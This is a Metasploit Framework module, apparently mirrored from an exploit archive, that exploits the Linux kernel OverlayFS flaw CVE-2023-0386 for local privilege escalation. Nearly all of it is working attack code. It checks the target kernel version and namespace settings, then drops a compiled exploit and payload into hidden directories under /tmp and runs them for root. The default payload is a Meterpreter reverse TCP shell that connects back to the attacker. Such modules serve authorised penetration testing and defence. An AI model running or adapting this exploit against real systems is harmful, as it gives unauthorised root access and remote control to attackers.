Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-LINUX-LOCAL-CVE_2023_0386_OVERLAYFS_PRIV_ESC-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::Kernel
  include Msf::Post::Linux::System
  include Msf::Post::Linux::Compile
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Local Privilege Escalation via CVE-2023-0386',
        'Description' => %q{
          This exploit targets the Linux kernel bug in OverlayFS.

          A flaw was found in the Linux kernel, where unauthorized access to the execution of the setuid file with capabilities
          was found in the Linux kernel’s OverlayFS subsystem in how a user copies a capable file from a nosuid mount into another mount.
          This uid mapping bug allows a local user to escalate their privileges on the system.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'xkaneiki', # Exploit development
          'sxlmnwb', # Exploit development
          'Takahiro Yokoyama', # Metasploit Module
        ],
        'DisclosureDate' => '2023-03-22',
        'SessionTypes' => ['shell', 'meterpreter'],
        'Platform' => [ 'linux' ],
        'Arch' => [
          ARCH_X64,
        ],
        'Targets' => [['Automatic', {}]],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'AppendExit' => true,
          'PrependFork' => true,
          'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp'
        },
        'Privileged' => true,
        'References' => [
          [ 'CVE', '2023-0386' ],
          [ 'URL', 'https://github.com/sxlmnwb/CVE-2023-0386' ],
          [ 'URL', 'https://github.com/DataDog/security-labs-pocs/tree/main/proof-of-concept-exploits/overlayfs-cve-2023-0386' ],
          [ 'URL', 'https://securitylabs.datadoghq.com/articles/overlayfs-cve-2023-0386/' ],
          [ 'URL', 'https://www.vicarius.io/vsociety/posts/cve-2023-0386-a-linux-kernel-bug-in-overlayfs' ],
        ],
        'Notes' => {
          'Reliability' => [ REPEATABLE_SESSION ],
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ ARTIFACTS_ON_DISK ]
        }
      )
    )
    register_options([
      OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]),
      OptInt.new('TIMEOUT', [ true, 'Timeout for exploit (seconds)', '60' ])
    ])
    register_advanced_options([
      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
    ])
  end

  def check
    unless kernel_arch.include?('x64')
      return CheckCode::Safe("System architecture #{kernel_arch} is not supported")
    end

    kernel_version = Rex::Version.new(kernel_release.split('-').first)
    if kernel_version < Rex::Version.new('5.11') ||
       kernel_version.between?(Rex::Version.new('5.15.91'), Rex::Version.new('5.16')) ||
       Rex::Version.new('6.1.9') <= kernel_version
      return CheckCode::Safe("Linux kernel version #{kernel_version} is not vulnerable")
    end

    unless userns_enabled?
      return CheckCode::Safe('Unprivileged user namespaces are not permitted')
    end

    vprint_good('Unprivileged user namespaces are permitted')

    CheckCode::Appears("Linux kernel version found: #{kernel_version}")
  end

  def base_dir
    datastore['WritableDir'].to_s
  end

  def exploit
    if !datastore['ForceExploit'] && is_root?
      fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
    end

    unless writable?(base_dir)
      fail_with(Failure::BadConfig, "#{base_dir} is not writable")
    end

    # Upload exploit executable
    exploit_dir = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
    exploit_path = "#{exploit_dir}/.#{rand_text_alphanumeric(5..10)}"

    mkdir(exploit_dir)
    register_dir_for_cleanup(exploit_dir)

    if live_compile?
      vprint_status('Live compiling exploit on system...')
      upload_and_compile(exploit_path, exploit_source('CVE-2023-0386', 'cve_2023_0386.c'), '-D_FILE_OFFSET_BITS=64 -lfuse -ldl -pthread')
    else
      vprint_status('Dropping pre-compiled exploit on system...')
      upload_and_chmodx(exploit_path, exploit_data('CVE-2023-0386', 'cve_2023_0386.x64.elf'))
    end

    # Upload payload executable
    payload_path = "#{exploit_dir}/.#{rand_text_alphanumeric(5..10)}"
    upload_and_chmodx(payload_path, generate_payload_exe)

    # Launch exploit
    print_status('Launching exploit...')
    cmd_string = "#{exploit_path} #{payload_path} #{exploit_dir}/.#{rand_text_alphanumeric(5..10)}"
    vprint_status("Running: #{cmd_string}")
    begin
      output = cmd_exec(cmd_string, nil, datastore['TIMEOUT'])
      vprint_status(output)
    rescue Error => e
      elog('Caught timeout.  Exploit may be taking longer or it may have failed.', error: e)
      print_error("Exploit failed: #{e}")
    ensure
      # rmdir() fails here on mettle payloads, so I'm just shelling out the rm for the exploit directory.
      cmd_exec("rm -rf '#{exploit_dir}'")
    end
  end

end